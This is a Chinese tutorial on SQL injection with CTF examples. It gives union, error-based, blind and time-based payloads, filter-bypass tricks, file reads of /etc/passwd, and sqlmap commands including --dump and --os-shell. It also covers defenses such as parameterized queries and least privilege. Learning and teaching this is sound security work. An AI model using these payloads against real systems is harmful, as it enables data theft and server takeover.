SQL注入(SQL Injection)详解与实战

文章目录

    • 一、什么是SQL注入?
    • 二、常见SQL注入类型
    • 三、手动注入步骤(以CTF题目为例)
    • 四、CTF实战技巧
    • 五、自动化工具:SQLMap
    • 六、防御措施
    • 七、CTF例题
    • 八、资源推荐

一、什么是SQL注入?

SQL注入是一种通过用户输入构造恶意SQL语句,干扰后端数据库查询逻辑的攻击方式。攻击者可通过注入获取敏感数据、篡改数据库或执行系统命令。


二、常见SQL注入类型

  1. 联合查询注入(Union-Based)
    利用UNION SELECT拼接查询结果,直接回显数据。

    ' UNION SELECT username, password FROM users--

  2. 报错注入(Error-Based)
    通过触发数据库报错泄露信息(如MySQL的updatexmlextractvalue)。

    ' AND updatexml(1, concat(0x7e, (SELECT user())), 1)--

  3. 布尔盲注(Boolean-Based Blind)
    通过页面返回的真假状态推断数据(如返回内容差异或HTTP状态码)。

    ' AND (SELECT SUBSTR(password,1,1) FROM users WHERE id=1)='a'--

  4. 时间盲注(Time-Based Blind)
    通过延时响应判断条件是否成立(如MySQL的sleep())。

    ' AND IF(1=1, SLEEP(5), 0)--


三、手动注入步骤(以CTF题目为例)

  1. 检测注入点

    • 输入单引号'触发数据库错误(如You have an error in your SQL syntax)。

    • 测试逻辑条件:

      id=1' AND 1=1-- (页面正常) id=1' AND 1=2-- (页面异常)

  2. 确定字段数(ORDER BY)

    ' ORDER BY 3-- (无报错) ' ORDER BY 4-- (报错→字段数为3)

  3. 联合查询获取数据

    ' UNION SELECT 1,2,3-- (确定回显位) ' UNION SELECT database(), user(), version()--

  4. 提取表名与列名

    ' UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database()-- ' UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_name='users'--

  5. 获取敏感数据

    ' UNION SELECT 1, username, password FROM users--


四、CTF实战技巧

  1. 绕过过滤

    • 大小写绕过UnIoN SeLeCt(部分过滤器不区分大小写)。
    • 注释符-- (空格)、#/*...*/
    • 编码绕过:URL编码(%27代替')、十六进制(0x...)。
    • 空格绕过:用/**/+代替空格(如UNION/**/SELECT)。
  2. 利用字符串拼接

    • MySQL:'||'1'='1'' OR '1'='1
    • SQLite:'||1=1--
  3. 利用数据库特性

    • MySQLLOAD_FILE('/etc/passwd')读取文件。
    • PostgreSQLpg_read_file('/etc/passwd')
    • SQLitesqlite_version()获取版本。

五、自动化工具:SQLMap

  1. 基本用法

    sqlmap -u "http://target.com/page?id=1" --dbs # 获取所有数据库名 sqlmap -u "http://target.com/page?id=1" -D dbname --tables # 获取表名 sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump # 导出数据

  2. 高级参数

    • --level=3:提高检测等级(包含Cookie注入)。
    • --risk=3:允许高风险操作(如文件写入)。
    • --os-shell:尝试获取系统Shell(需高权限)。

六、防御措施

  1. 参数化查询(预编译)

    Python

    # Python示例(使用SQLAlchemy) result = db.session.execute('SELECT * FROM users WHERE id = :id', {'id': user_id})

  2. 输入过滤

    • 过滤特殊字符(' " ; --)。
    • 限制输入类型(如数字类型强制转换为整数)。
  3. 最小权限原则

    • 数据库用户仅授予必要权限(禁止FILEEXECUTE等)。

七、CTF例题

  1. 题目:登录页面存在SQL注入,获取管理员密码。

    SQL

    ' OR 1=1 -- ' UNION SELECT null, password FROM users WHERE username='admin'--

  2. 题目:过滤了空格和UNION,利用盲注获取数据。

    SQL

    '||(SELECT CASE WHEN (SUBSTR(password,1,1)='a') THEN SLEEP(5) ELSE 0 END FROM users)#


八、资源推荐

  • 练习平台
    • PortSwigger SQLi Labs(https://portswigger.net/web-security/sql-injection)
    • SQLi Labs(GitHub开源靶场)
  • 深入阅读
    • 《SQL注入攻击与防御(第2版)》
    • OWASP SQL Injection Cheat Sheet

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/19580.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Postgresql】Windows 部署 Postgresql 数据库 (图文教程)

文章目录 准备工作Postgresql 下载Postgresql 安装初始化数据库数据库链接设置允许远程连接测试链接 更多相关内容可查看 准备工作 操作系统:Windows 7 或更高版本(推荐 Windows 10 或 Windows Server 2016)。 硬件要求: 至少 …

【ENSP】链路聚合的两种模式

【ENSP】链路聚合的两种模式 1、背景介绍2、链路聚合的使用场景3、配置过程1、手工模式Eth-Trunk配置2、静态LACP模式Eth-Trunk 4、总结 1、背景介绍 随着网络规模的不断扩大,人们对骨干链路的带宽吞吐量和可靠性提出了越来越高的要求。在传统方案中,为…

《深度学习》——调整学习率和保存使用最优模型

调整学习率 在使用 PyTorch 进行深度学习训练时,调整学习率是一个重要的技巧,合适的学习率调整策略可以帮助模型更好地收敛。 PyTorch 提供了多种调整学习率的方法,下面将详细介绍几种常见的学习率调整策略及实例代码: torch.opt…

SpringBoot+微信小程序+数据可视化的宠物到家喂宠服务(程序+论文+讲解+安装+调试+售后等)

感兴趣的可以先收藏起来,还有大家在毕设选题,项目以及论文编写等相关问题都可以给我留言咨询,我会一一回复,希望帮助更多的人。 系统介绍 在经济高速发展、物质生活极大丰富的当下,人们的精神需求愈发凸显&#xff0…

《仙台有树》追剧疑问与DeepSeek解答

本篇形式:直接以两段对话直接呈现,有删减 本篇背景:看过太多逻辑bug,有些bug无药可救直接弃剧,有些bug情有可原包容理解。想到最近大火的DeepSeek,就与时俱进,简单直接点吧,也许自己…

Java版企业电子招标采购系统源业码Spring Cloud + Spring Boot +二次开发+ MybatisPlus + Redis

功能描述 1、门户管理:所有用户可在门户页面查看所有的公告信息及相关的通知信息。主要板块包含:招标公告、非招标公告、系统通知、政策法规。 2、立项管理:企业用户可对需要采购的项目进行立项申请,并提交审批,查看所…

txt文件批量转PDF

需要使用acrobat DC软件。 工具 – 创建 PDF – 多个文件(可以选择多个TXT文件,过多可能内存溢出)。

学习笔记之debian的thonny开发(尚未验证)--从stm32裸机到linux嵌入式系统

这应该算 stm32裸机用户 转 linux嵌入式系统 的入门学习笔记。 【鲁班猫】39-vnc远程桌面连接鲁班猫_哔哩哔哩_bilibili 本集的鲁班猫的视频介绍中,没有清晰明确指出需要linux开发板接入网络,接入网络可以使用有线网口或者wifi路由,有些提示…

PVE使用一个物理网卡采用VLAN为管理IP和VM分配网络的问题

问题描述: 部署PVE后, 想着在上面部署多个不同VLAN的VM (类似于VMwarere ESXi),但有人反馈无法使用VLAN,只能配置部署PVE时使用的网段。 问题分析: 在PVE的主机节点网络配置中,默认…

15.3.10 窗体下使用多线程

版权声明:本文为博主原创文章,转载请在显著位置标明本文出处以及作者网名,未经作者允许不得用于商业目的。 从.Net FrameWork2.0开始,为了加强了程序安全,防止跨线程调用导致不可预知的结果。微软将窗体主线程&#x…

ASP.NET Core SixLabors.ImageSharp v3.x 的图像实用程序类

使用用 C# 编写的 asp.net core web 应用程序示例在 Windows 和 Linux web 服务器上处理图像,包括创建散点图和直方图,以及根据需要旋转图像以便正确显示。 这个小型实用程序库需要将 NuGet SixLabors.ImageSharp包(版本 3.1.x)添…

【leetcode】200.岛屿数量(DFS入门)

实战总结 用char型接收整形int转化为的对应字符要小心 int res; char res 0; 其中 res 的上限是127。 在下面这道题中,笔者一开始想将遍历过的位置更新值为 res ‘0’,但当岛屿数过多的时候就溢出了,所以还是应该将遍历过的位置更新为‘…

CES Asia 2025“科技+文旅”融合计划:开启文旅新篇

CES Asia 2025第七届亚洲消费电子技术贸易展(赛逸展)将在首都北京盛大举行,其亮点十三“‘科技文旅’融合计划”备受瞩目,为科技与文旅产业的深度融合带来了新的契机与活力。 在“科技文旅”融合计划中,景区智能设备租…

【Git版本控制器】第三弹——版本回退,撤销修改,删除文件

🎁个人主页:我们的五年 🔍系列专栏:Linux网络编程 🌷追光的人,终会万丈光芒 🎉欢迎大家点赞👍评论📝收藏⭐文章 ​ 相关笔记: https://blog.csdn.net/djd…

DeepSeek ,银行营销会被 AIGC 颠覆吗?

AI 让银行营销更智能,但更重要的是“懂客户” AI 在银行营销中的应用已经不仅仅局限于文案生成,而是渗透到了整个营销流程。 据悉,中国银行已经开始利用 AI 大模型构建智能营销助手系统,结合知识图谱和 AI 技术,实现…

【产品推介】可驱动5A负载的降压型DC/DC转换器XBL1663

一、产品简介 采用ESOP-8封装的XBL1663最大可输出5A电流 芯伯乐XBL1663是一款专为降压型DC/DC转换器设计的单片集成电路,具有高转换效率、恒定开关频率工作的特点。内置功率 MOSFET可在 4.5 V-40V 输入电源上实现 5A 峰值输出电流,并具有出色的负载和线…

Rust编程语言入门教程(四)猜数游戏:一次猜测

目录 引言猜数游戏——目标一、创建项目二、编写代码三、运行代码四、代码解释总结 引言 猜数游戏是一个经典的编程练习,它不仅能够帮助开发者熟悉基本的输入输出操作,还能深入理解条件判断和用户交互的逻辑。在 Rust 中,通过标准库提供的 s…

.NET版PDF处理控件Aspose.PDF教程:在 C# 中将 TIFF 文件转换为 PDF

将TIFF文件转换为PDF文档在各个行业中都是必不可少的。许多企业需要将文档转换为存档、共享或打印。TIFF 文件通常用于图像,而 PDF 是文档共享的标准。将 TIFF 文件转换为 PDF 可确保跨不同平台的兼容性和易用性。在这篇博文中,我们将探讨如何使用 Aspos…

DeepSeek视角下学术论文创新点探索干货分享!

学术论文的创新性是推动知识进步和科学发展的关键因素。它不仅是学术研究的基本要求,也是研究者专业能力的重要体现。本文将探讨学术论文创新的重要性,并分析DeepSeek在促进学术论文创新方面可能发挥的独特作用。 1.创新为啥这么重要? 1. 探…

EasyRTC智能硬件:实时畅联、沉浸互动、消音护航

在当今智能硬件迅猛发展的时代,音视频通讯技术已成为设备与用户、设备与设备间不可或缺的沟通纽带。而EasyRTC,凭借其无可比拟的实时性能、卓越的互动感受以及强大的交互实力,正逐步演变为智能硬件领域的“超级动力”核心。特别是其倾力打造的…